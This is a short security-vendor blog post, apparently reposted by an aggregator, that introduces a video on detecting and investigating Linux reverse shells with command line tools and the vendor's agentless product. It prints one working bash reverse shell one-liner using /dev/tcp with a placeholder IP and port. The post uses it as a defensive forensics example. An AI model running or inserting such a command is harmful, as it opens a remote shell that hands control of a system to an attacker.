Linux Reverse Shell Detection and Forensics
2024-12-2 09:14:38 Author: sandflysecurity.com(查看原文) 阅读量:25 收藏

In this video, we cover how to investigate one of our favorite reverse shells on Linux:

bash -i >& /dev/tcp/<IP_ADDRESS>/<PORT> 0>&1

This simple command will launch a shell from the victim system to the IP address supplied. It is simple, effective, and works immediately on just about any Linux distribution.

In this video we'll show you how to identify this attack using command line tools and agentless Sandfly. We'll cover the basic reverse shell attack pattern, what it looks like from an alert perspective, what it looks like from the terminal, and how to investigate the suspicious process using simple command line tools. We'll even show you how to spy on the reverse shell activity using a command built into many Linux distributions (peekfd).

Sandfly is able to find this and many other types of Linux attacks without deploying any endpoint agents. Get your free license today or contact us for more information.


文章来源: https://sandflysecurity.com/blog/linux-reverse-shell-detection-and-forensics/
如有侵权请联系:admin#unsafe.sh